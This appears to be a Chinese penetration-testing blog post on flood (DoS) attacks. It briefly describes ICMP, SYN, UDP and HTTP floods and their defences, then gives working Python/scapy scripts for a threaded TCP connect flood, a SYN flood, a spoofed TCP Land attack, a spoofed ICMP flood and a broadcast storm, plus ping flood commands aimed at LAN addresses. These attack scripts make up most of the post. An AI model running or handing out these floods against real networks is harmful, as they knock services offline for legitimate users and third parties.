泛洪攻击(Flood Attack)

执行网络攻击,包括 Ping 泛洪攻击,在绝大多数国家/地区都是非法的,它违反了计算机犯罪法律和条例。执行或尝试执行这样的攻击通常会导致法律后果,包括罚款和监禁。因此,这些信息仅供理论学习和了解,绝不应用于非法活动。

“泛洪攻击”(Flood Attack)是一种常见的网络攻击类型,其基本思路是通过极大量的网络请求来消耗目标系统的资源,从而使目标系统过载、响应缓慢或者完全无响应。这种攻击通常用来实现 DoS(拒绝服务)或 DDoS(分布式拒绝服务)攻击。

泛洪攻击的目的

泛洪攻击的主要目的通常是中断目标服务的正常运行。攻击者尝试通过超载目标的网络和/或资源(比如带宽、CPU、内存等)来使其无法为合法用户提供服务。

泛洪攻击的常见类型

1. ICMP 泛洪攻击

攻击者向目标发送大量的 ICMP Echo 请求(通常通过 ping 命令实现)来消耗网络带宽和处理资源。

2. SYN 泛洪攻击

攻击者发送大量的 SYN(同步)包,试图与目标主机建立大量的半开放连接,从而消耗其资源并尝试使其无法处理新的连接请求。

3. UDP 泛洪攻击

攻击者向目标主机发送大量的无用 UDP 包,旨在耗尽目标的网络带宽和处理能力。

4. HTTP 泛洪攻击

攻击者生成大量的 HTTP 请求,目的是耗尽目标 Web 服务器的资源。

泛洪攻击的防御

防御泛洪攻击通常涉及多种策略和工具的组合,例如:

  • 使用防火墙和 IDS(入侵检测系统)来检测并阻止异常流量。
  • 配置路由器和交换机以限制来自同一源的连接数或数据包率。
  • 使用 CDN(内容分发网络)或 DDoS 防护服务来分散攻击流量。
  • 实施负载均衡来分担服务器的负载。
  • 使用 Web 应用程序防火墙(WAF)来过滤恶意 HTTP 请求。

泛洪攻击的实现

1. socket, tcp三次握手
import socket
from scapy.layers.inet import IP, TCP, ICMP
from scapy.sendrecv import send, sendp

def socket_flood(ip, port):
    while True:
        s = socket.socket()
        s.connect((ip, port))
        
if __name__ == '__main__':
    ip = '192.168.110.130'
    port = 5000
    for i in range(500):
        threading.Thread(target=socket_flood, args=(ip, port)).start()
2. scapy, 半连接
def scapy_flood(ip, port):
    while True:
        sport = random.randint(10000, 30000) # 随机源端口
        pkg = IP(dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
3. scapy, TCP Land

将源ip伪造成与目标ip一样

def tcp_land(ip, port):
    while True:
        sport = random.randint(10000, 30000)
        pkg = IP(src=ip, dst=ip)/TCP(sport=sport, dport=port, flags='S')
        send(pkg, verbose=False)
4. scapy, icmp 内网泛洪

伪造内网ip, 从ip层进行攻击, 不针对某一个端口

def icmp_flood(ip):
    ip_list = ['192.168.110.130','192.168.110.129','192.168.110.128','192.168.110.131']
    payload = 'abcdefghijkabc'*100
    while True:
        src_ip = random.choice(ip_list)
        pkg = IP(src=src_ip, dst=ip)/ICMP()/payload*100  # 100个数据包
        send(pkg, verbose=False)

5. scapy, icmp 内网广播风暴

在内网将payload发送给255地址, 那么处于同一个网段内的ip都将获取到广播数据包.
支持广播的协议都可以做到, 比如UDP协议.

def icmp_broadcast():
    payload = 'abcdefghijkabc'*100
    while True:
        pkg = IP(dst='192.168.112.255')/ICMP()/payload*100
        send(pkg, verbose=False)
        
6. Linux 中的 ping 命令
6.1 ping -i -s

在linux系统中使用 ping 命令的 -i -s 参数:
-i 参数用于指定连续两个 ping 包之间的间隔时间(秒为单位)
-s 参数用于指定要发送的数据包的大小(字节为单位)

将每次ping的间隔设置到非常短, 比如1ms.
将ping的数据包设置到非常大, 这个值要根据目标服务器能够接受的字节大小来设置, 需要探测.

ping -i 0.001 -s 5000 192.168.110.129 # 间隔1ms, 每个5000字节

在windows系统中的 ping 不能设置 ICMP 报文的发送间隔, 间隔默认最快为1s.

6.2 ping -f

ping -f 被用于 “flood ping”。Flood ping 是向目标地址发送大量的 ping 请求包,常常用于压力测试网络。在允许这个选项的系统中,通常只有超级用户(root)能够执行带有 -f 参数的 ping 命令,因为滥用它可以轻易地导致网络拥堵。

ping -f 192.168.110.129

你可能感兴趣的:(渗透测试,渗透测试,网络协议)